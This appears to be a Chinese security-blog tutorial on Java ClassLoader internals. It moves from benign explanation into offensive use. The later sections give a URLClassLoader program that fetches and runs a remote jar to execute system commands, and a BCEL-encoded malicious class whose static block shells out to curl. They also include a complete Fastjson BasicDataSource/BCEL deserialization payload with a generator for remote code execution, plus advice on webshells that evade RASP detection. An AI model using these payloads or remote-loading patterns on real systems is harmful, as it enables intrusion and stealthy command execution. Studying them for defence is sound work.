Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader就是类加载器,对于某些框架开发者非常常见。ClassLoader的具体作用就是将class文件加载到JVM虚拟机中去,程序就可以正常运行了。在ClassLoader加载class文件时,ClassLoader会调用JVM的native方法(dedineClass0/1/2)来定义一个java.lang.Class实例。当然jvm在启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载以此来防止内存奔溃。
JVM架构图
Java是编译型语言,我们编写的java文件需要编译成class文件后才能够被JVM运行,我们平常用文本编辑器或者IDE编写的程序都是.java格式的文件,这是最基本的源码,但这类文件是不能直接运行的。如下我们编写一个简单的程序。
示例TestSayHello.java:
package com.testclassloader;public class TestSayHello {
public String sayHello(){
return "com.testclassloader Say Hello";
}
}
使用javac命令编译TestSayHello.java 将java源码编译成字节码文件,再通过JDK自带的javap命令反汇编TestSayHello.class文件对应的com.testclassloader.TestSayHello类,以及使用Linux自带的hexdump命令查看TestSayHello.class文件的二进制内容:
JVM在执行TestSayHello之前会解析class二进制内容,JVM执行的内容其实就是如上javap命令生成的字节码文件。
一切的Java类都必须经过JVM加载之后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器),Extension ClassLoader(扩展类加载器), App ClassLoader(系统类加载器) ,App ClassLoader是默认的类加载器,如果类加载时我们没有指定类加载器的情况下,默认使用的是App ClassLoader加载器,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。
ClassLoader类的核心方法:
loadClass(加载指定的Java类)
findClass(查找指定的Java类)
findLoadClass(查找JVM已经加载过的类)
defineClass(定义一个Java类)
resolveClass(链接指定的Java类)
引导类加载器(BootstrapClassLoader)
引导类加载器(BootstrapClassLoader),底层原生代码是C++语言编写,属于JVM的一部分,不继承java.lang.ClassLoader类,也没有父类加载器,主要负责加载核心java库(即JVM本身),存储在/jre/lib/rt.jar目录当中。(同时出于安全考虑,BootstrapClassLoader只加载包名为java、javax、sun等开头的类)。
扩展类加载器(ExtensionsClassLoader)
扩展类加载器(ExtensionsClassLoader),由sun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库。Java虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载Java类。
App类加载器/系统类加载器(AppClassLoader)
App类加载器/系统类加载器(AppClassLoader),由sun.misc.Launcher&AppClassLoader实现,一般通过(java.class.path或者Classpath环境变量)来加载类,也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类,可以使用ClassLoader.getSystemClassLoader()来获取它。
自定义类加载器(UserDefineClassLoader)
自定义类加载器(UserDefineClassLoader),除了上述Java自带提供的类加载器,我们还可以通过继承java.lang.ClassLoader类的方式实现自己的类加载器。
Java类加载方式分为显式和隐式,显式即我们通常使用的Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或者new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
命令行启动应用时候由JVM初始化加载
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载
//反射加载TestSayHello示例
Class.forName("com.testclassloader.TestSayHello");
//ClassLoader加载TestSayHello示例
this.getClass().getClassLoader.loadClass("com.testclassloader.TestSayHello");
Class.forName("类名")默认会初始化被加载类的静态属性和方法,如果不希望被初始化类可以使用
Class.forName("类名",是否初始化类,类加载器),而ClassLoader.loadClass默认不会初始化类方法。
这里我们通过来加载之前写的TestSayHello来学习ClassLoader。
ClassLoader加载com.testclassloader.TestSayHello类的重要流程如下:
ClassLoader会调用public Class loadClass(String name) 方法加载com.testclassloader.TestSayHello类。
调用findLoadeClass 方法检查TestSayHello类是否已经初始化,如果JVM已初始化该类则直接返回类对象。
如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestSayHello类,否则使用JVM的Bootstrap ClassLoader加载。
如果上一步无法加载TestSayHello类,那么调用自身的findClass 方法尝试加载TestSayHello类。
如果当前的ClassLoader没有重写findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的 com.testclassloader.TestSayHello 类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
如果调用loadClass的时候传入的 resolve 参数为true,那么还需要调用 resolveClass 方法链接类,默认为false
返回一个被JVM加载后的 java.lang.Class类对象。
java.lang.classLoader是所有的类加载器的父类,下面通过继承java.lang.ClassLoader类的方式自定义了一个类加载器来实现加载自定义的字节码(这里以加载上述com.testclassloader.TestSayHello类为例)并调用该类的sayHello方法。
1.通过如下代码获取com.testclassloader.TestSayHello类的字节码文件并转成byte数组。
package com.testclassloader;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
public class ClassByteCode {
public static byte[] getClassByteCode(String className) {
String jarname = "/" + className.replace('.', '/') + ".class";
InputStream is = ClassByteCode.class.getResourceAsStream(jarname);
ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
byte imgdata[] = null;
try {
while ((ch = is.read()) != -1) {
bytestream.write(ch);
}
imgdata = bytestream.toByteArray();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
bytestream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return imgdata;
}
public static void main(String[] args) {
System.out.println("Bytecode " + Arrays.toString(getClassByteCode("com/testclassloader/TestSayHello")));
}
}
2.修改自定义类加载器TestClassLoader中需要加载的类字节码为上一步代码输出结果,完成如下自定义类加载器代码。
package com.testclassloader;import java.lang.reflect.Method;
public class TestClassLoader extends ClassLoader {
// TestSayHello类名
private static String testClassName = "com.testclassloader.TestSayHello";
// TestSayHello类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 58, 0, 20, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40,
41, 86, 8, 0, 8, 1, 0, 29, 99, 111, 109, 46, 116, 101, 115, 116, 99, 108, 97, 115, 115, 108, 111, 97, 100,
101, 114, 32, 83, 97, 121, 32, 72, 101, 108, 108, 111, 7, 0, 10, 1, 0, 32, 99, 111, 109, 47, 116, 101, 115,
116, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 83, 97, 121, 72, 101, 108,
108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98,
108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0,
4, 116, 104, 105, 115, 1, 0, 34, 76, 99, 111, 109, 47, 116, 101, 115, 116, 99, 108, 97, 115, 115, 108, 111,
97, 100, 101, 114, 47, 84, 101, 115, 116, 83, 97, 121, 72, 101, 108, 108, 111, 59, 1, 0, 8, 115, 97, 121,
72, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 84, 101, 115, 116,
83, 97, 121, 72, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5,
0, 6, 0, 1, 0, 11, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 12, 0, 0, 0, 6,
0, 1, 0, 0, 0, 3, 0, 13, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 14, 0, 15, 0, 0, 0, 1, 0, 16, 0, 17, 0, 1, 0, 11,
0, 0, 0, 45, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 2, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 13, 0,
0, 0, 12, 0, 1, 0, 0, 0, 3, 0, 14, 0, 15, 0, 0, 0, 1, 0, 18, 0, 0, 0, 2, 0, 19
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestSayHello类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestSayHello类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestSayHello类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestSayHello类,等价于 TestSayHello t = new TestSayHello();
Object testInstance = testClass.newInstance();
// 反射获取sayHello方法
Method method = testInstance.getClass().getMethod("sayHello");
// 反射调用sayHello方法,等价于 String str = t.sayHello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
如果com.testclassloader.TestSayHello类存在的情况下,我们可以使用如下方法实现调用sayHello方法并输出:
TestSayHello t = new TestSayHello();
String str = t.sayHello();
System.out.println(str);
如果com.testclassloader.TestSayHello不存在于我们的classpath,那么我们就可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestSayHello类的字节码的方式来向JVM中定义一个TestSayHello类,最后通过反射机制就可以调用TestSayHello类的sayHello方法了。
利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码。
URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用,具有较高的隐蔽性。
如下代码,通过http协议远程加载一个jar文件。
package com.testclassloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://192.168.52.129:1111/CMD.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "whoami";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
远程的CMD.jar中就一个CMD.class文件,对应的编译前的代码如下:
import java.io.IOException;public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
执行结果如下:
BCEL是一个用于分析、创建和操纵Java类文件的工具库,BCEL的类名加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。
BCEL攻击原理
当BCEL的类名加载器在加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。
示例代码:
package com.testclassloader;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;public class BCELClassLoader {
private static final byte[] CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 58, 0, 41, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41,
86, 8, 0, 8, 1, 0, 20, 99, 117, 114, 108, 32, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 49, 49, 49, 49,
47, 10, 0, 10, 0, 11, 7, 0, 12, 12, 0, 13, 0, 14, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41,
76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 10, 0, 10, 0, 16, 12,
0, 17, 0, 18, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101,
115, 115, 59, 7, 0, 20, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
105, 111, 110, 10, 0, 19, 0, 22, 12, 0, 23, 0, 6, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107,
84, 114, 97, 99, 101, 7, 0, 25, 1, 0, 28, 99, 111, 109, 47, 116, 101, 115, 116, 99, 108, 97, 115, 115, 108,
111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 69, 120, 101, 99, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76,
105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97,
114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 99, 111, 109,
47, 116, 101, 115, 116, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 69, 120,
101, 99, 59, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47,
105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110,
100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 13,
83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 38, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 13,
84, 101, 115, 116, 69, 120, 101, 99, 46, 106, 97, 118, 97, 0, 33, 0, 24, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5,
0, 6, 0, 1, 0, 26, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 27, 0, 0, 0, 6,
0, 1, 0, 0, 0, 5, 0, 28, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 29, 0, 30, 0, 0, 0, 8, 0, 31, 0, 6, 0, 1, 0, 26,
0, 0, 0, 124, 0, 2, 0, 2, 0, 0, 0, 20, 18, 7, 75, -72, 0, 9, 42, -74, 0, 15, 87, -89, 0, 8, 76, 43, -74, 0,
21, -79, 0, 1, 0, 3, 0, 11, 0, 14, 0, 19, 0, 3, 0, 27, 0, 0, 0, 26, 0, 6, 0, 0, 0, 8, 0, 3, 0, 10, 0, 11, 0,
13, 0, 14, 0, 11, 0, 15, 0, 12, 0, 19, 0, 14, 0, 28, 0, 0, 0, 22, 0, 2, 0, 15, 0, 4, 0, 32, 0, 33, 0, 1, 0,
3, 0, 16, 0, 34, 0, 35, 0, 0, 0, 36, 0, 0, 0, 18, 0, 2, -1, 0, 14, 0, 1, 7, 0, 37, 0, 1, 7, 0, 19, -6, 0, 4,
0, 1, 0, 39, 0, 0, 0, 2, 0, 40
};
public static void bcelTest() throws Exception {
// 创建BCEL类加载器
ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();
// BCEL编码类字节码
String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);
System.out.println(className);
Class<?> clazz = Class.forName(className, true, classLoader);
System.out.println(clazz);
}
public static void main(String[] args) throws Exception {
bcelTest();
}
}
编译前的恶意代码如下:
package com.testclassloader;import java.io.IOException;
public class TestExec {
static {
String command = "curl localhost:1111/";
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
}
}
}
运行结果:
BCEL FastJson攻击链分析
Fastjson(1.1.15-1.2.4)反序列化中有个Payload就是利用率BCEL攻击链,利用代码如下:
{"@type":"org.apache.commons.dbcp2.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dRMo$d3$40$Q$7d$h$bb$b1q$9d$3aM$d2$WJi$cbwR$q$y$aeM$c5$F$V$Ja$u$oQ9o6$abt$8b$e3$8d$ec$N$ea$81$ff$c3$b9$97R$f5$c0$P$e0$tq$80$ce$ba$a1$U$V$b1$92gv$c6o$de$be$9d$9d$ef$3f$cf$be$B$d8F$t$40$F$8e$H7$c4$i$aa$M$f5C$fe$89$c7$v$cfF$f1$de$e0P$K$c3P$ddQ$992$cf$Z$9cvg$df$87$cf$d0$S$d3$3c$ddL$b5$e0$e9$81$$$cc$f63Zq$80$A$f3$k$c2$Q5$y0$y$fe$nz$3f$cd$8c$gK$86$60$q$cde$b0$d4$ee$q$d70$5d$cbR$P$b1$88$G$83$x$8f$a4$60x$dc$be$82$eb$99$5ce$a3$ee$d5$d2w$b9$W$b2$u$ba$kZ$M$cd2$aft$fcjo$f7H$c8$89Q$3a$L$d0$c4r$88$V$7b$bfhB$f5$a6g$b8$f8$d8$cf$b9$90$kn1$ac$J$3d$8e$8d$y$8cHyQ$a4$9a$Pe$k$f7$v$de$z$F$b8$$f4$90$EG$89$ca$e4$db$e9x$m$f3$3e$l$a4$94i$q$b6$F$fb$3cW6$9e$r$5ds$a0$K$86$f5$e4$7f$a4$5d$G$7fG$a4$b3$c62$db$8e$e4$l$ca$J$e6$R$cd$98gC$7b$da$b560$d4$ca$ab$bc$e1$93$f2t$P$8f$fez$c2$L$Y5$be$a7$a7$b9$90$$95$VX$fb$z$e2$a9$F$e2$$n$d2$I$d8U$B$b3C$40v$95$a2$98$3c$p$3f$b7$f5$V$ec$b8$fc$7d$9bl$f5$o$895$b2$e1l$7f$H$eb$e4$7dl$5c$W$7f$s$b4$rm5$bc$d7$a7$b8$b1u$82$e8$c3$X$f8$c9$93$T$y$j$T$c6$c1$3c$W$e8Y$9c$92s$95$eal$bdcG$c8$8e$P$d9$88$d8$9b$b4$b3$e7$y$TW$E$X$9b$q$d6$d6$d6q$P$f7$v$ff$80$be$G$w$bf$I$c6$3c$3c$b4$a6$f9$83p43$a5$de$f69$c9j$d6$d9$e7$C$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}
FastJson自动调用setter方法修改org.apache.commons.dbcp2.BasicDataSource类的driverClassName和driverClassLoader值,driverClassName是经过BCEL编码后的com.testclassloader.TestExec类字节码(这里攻击类依旧采用上述的命令执行的java类),driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。
从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp2.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,因此FastJson最终还是调用了getConnection()方法。
当getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图:
示例代码:
这里直接采用Map直接构建基于fastjson的BCEL攻击链
package com.testclassloader;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.classfile.Utility;
import org.apache.commons.dbcp2.BasicDataSource;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;
public class BCELClassLoaderFastjson {
private static final byte[] CLASS_BYTES = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 58, 0, 41, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41,
86, 8, 0, 8, 1, 0, 20, 99, 117, 114, 108, 32, 108, 111, 99, 97, 108, 104, 111, 115, 116, 58, 49, 49, 49, 49,
47, 10, 0, 10, 0, 11, 7, 0, 12, 12, 0, 13, 0, 14, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41,
76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 10, 0, 10, 0, 16, 12,
0, 17, 0, 18, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101,
115, 115, 59, 7, 0, 20, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
105, 111, 110, 10, 0, 19, 0, 22, 12, 0, 23, 0, 6, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107,
84, 114, 97, 99, 101, 7, 0, 25, 1, 0, 28, 99, 111, 109, 47, 116, 101, 115, 116, 99, 108, 97, 115, 115, 108,
111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 69, 120, 101, 99, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76,
105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114,
105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 99, 111, 109, 47,
116, 101, 115, 116, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 69, 120, 101,
99, 59, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105,
111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110, 100, 1,
0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 13, 83, 116,
97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 38, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103,
47, 83, 116, 114, 105, 110, 103, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 13, 84, 101,
115, 116, 69, 120, 101, 99, 46, 106, 97, 118, 97, 0, 33, 0, 24, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0,
1, 0, 26, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 27, 0, 0, 0, 6, 0, 1, 0,
0, 0, 5, 0, 28, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 29, 0, 30, 0, 0, 0, 8, 0, 31, 0, 6, 0, 1, 0, 26, 0, 0, 0,
124, 0, 2, 0, 2, 0, 0, 0, 20, 18, 7, 75, -72, 0, 9, 42, -74, 0, 15, 87, -89, 0, 8, 76, 43, -74, 0, 21, -79,
0, 1, 0, 3, 0, 11, 0, 14, 0, 19, 0, 3, 0, 27, 0, 0, 0, 26, 0, 6, 0, 0, 0, 8, 0, 3, 0, 10, 0, 11, 0, 13, 0,
14, 0, 11, 0, 15, 0, 12, 0, 19, 0, 14, 0, 28, 0, 0, 0, 22, 0, 2, 0, 15, 0, 4, 0, 32, 0, 33, 0, 1, 0, 3, 0,
16, 0, 34, 0, 35, 0, 0, 0, 36, 0, 0, 0, 18, 0, 2, -1, 0, 14, 0, 1, 7, 0, 37, 0, 1, 7, 0, 19, -6, 0, 4, 0, 1,
0, 39, 0, 0, 0, 2, 0, 40
};
public static void fastjsonRCE() throws IOException {
// BCEL编码类字节码
String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);
// 构建恶意的JSON
Map<String, Object> dataMap = new LinkedHashMap<String, Object>();
Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();
dataMap.put("@type", BasicDataSource.class.getName());
dataMap.put("driverClassName", className);
classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
dataMap.put("driverClassLoader", classLoaderMap);
String json = JSON.toJSONString(dataMap);
System.out.println(json);
JSONObject jsonObject = JSON.parseObject(json);
}
public static void main(String[] args) throws Exception {
fastjsonRCE();
}
}
恶意代码依旧使用之前的com.testclassloader.TestExec类。
运行结果如下:
ClassLoader是JVM中一个非常重要的组成部分,ClassLoader可以为我们加载任意的java类,通过自定义ClassLoader更能够实现自定义类加载行为。